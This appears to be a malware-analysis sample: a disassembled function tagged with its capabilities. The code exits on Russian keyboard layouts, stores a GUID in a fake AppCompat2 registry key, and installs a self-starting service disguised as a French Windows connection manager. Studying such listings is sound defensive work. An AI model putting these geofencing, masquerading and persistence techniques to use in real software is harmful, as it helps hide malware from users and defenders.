Function at 0x1400014f0
Capabilities:
Create service
Delete service
Get keyboard layout
Query or enumerate registry value
Set registry value
Start service
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x2e0
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
mov ebx, ecx
mov rsi, rdx
lea rcx, [rsp + 0xa8]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
test eax, eax
je 0x140001548
lea rdx, str.00000419
lea rcx, [rsp + 0xa8]
call fcn.140013530
test eax, eax
jne 0x140001548
mov eax, 0xffffffd6
jmp 0x140001805
mov qword [rsp + 0x2f0], rbp
mov qword [rsp + 0x300], rdi
cmp ebx, 4
je 0x1400017f3
xor ebp, ebp
lea rdi, str.Gestionnaire_de_conexion_Windows
cmp ebx, 1
jle 0x1400017be
mov r8d, 0x104
lea rdx, [rsp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140001598
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400017f5
mov rbx, qword [rsi + 8]
lea rdx, str.standalone
mov rcx, rbx
call fcn.140013530
test eax, eax
je 0x140001888
mov rcx, rbp
lea rdx, [0x14001ca6c]
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140001706
cmp rcx, 4
jne 0x1400015c0
lea rax, [rsp + 0x7c]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SOFTWAREMicrosoftAppCompat2
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebp
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400016fd
mov rcx, qword [rsi + 0x10]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], bpl
jne 0x140001630
inc eax
lea rdx, str.GUID
mov dword [rsp + 0x28], eax
mov r9d, 1
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400016fd
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x70]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftAppCompat2
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400016fd
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x80]
lea rax, [rsp + 0xc0]
mov dword [rsp + 0x78], ebp
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.GUID
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [rsp + 0x78]
cmp rax, 0xff
jae 0x14000189c
mov rcx, qword [rsp + 0x70]
mov byte [rsp + rax + 0xc0], bpl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400017f3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rbp
lea rdx, str.install
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140001826
cmp rcx, 8
jne 0x140001710
mov r8d, 0xf003f
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x14000187f
mov qword [rsp + 0x60], rbp
lea rcx, str.NT_AUTHORITYNetworkService
mov qword [rsp + 0x58], rcx
lea r8, str.Prends_des_dcisions_automatiques_de_connexion_dconnexion_en_fonction_des_options_de_connectivit_rseau_actuellement_disponibles__lordinateur_et_active_la_gestion_de_la_connectivit_rseau_en_fonction_des_paramtres_de_la_stratgie_de_groupe.
mov qword [rsp + 0x50], rbp
lea rcx, [rsp + 0x1c0]
mov qword [rsp + 0x48], rbp
mov r9d, 0xf01ff
mov qword [rsp + 0x40], rbp
mov rdx, rdi
mov qword [rsp + 0x38], rcx
mov rcx, rax
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x14000187f
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x14000187f
lea rax, [fcn.1400010e0]
mov qword [rsp + 0x88], rdi
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rbp
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
xor eax, eax
mov rbp, qword [rsp + 0x2f0]
mov rdi, qword [rsp + 0x300]
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.1400018c0
mov rbx, qword [rsp + 0x308]
add rsp, 0x2e0
pop rsi
ret
lea rdx, str.uninstall
mov rcx, rbx
call fcn.140013530
test eax, eax
jne 0x1400017be
mov r8d, 0x10000
lea rdx, str.ServicesActive
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
je 0x14000187f
mov r8d, 0xf003f
lea rdx, str.Gestionnaire_de_conexion_Windows
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
je 0x14000187f
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1400017f3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor edx, edx
mov dword [0x140020bf0], 1
xor ecx, ecx
call fcn.1400010e0
int3
call fcn.1400019e8
int3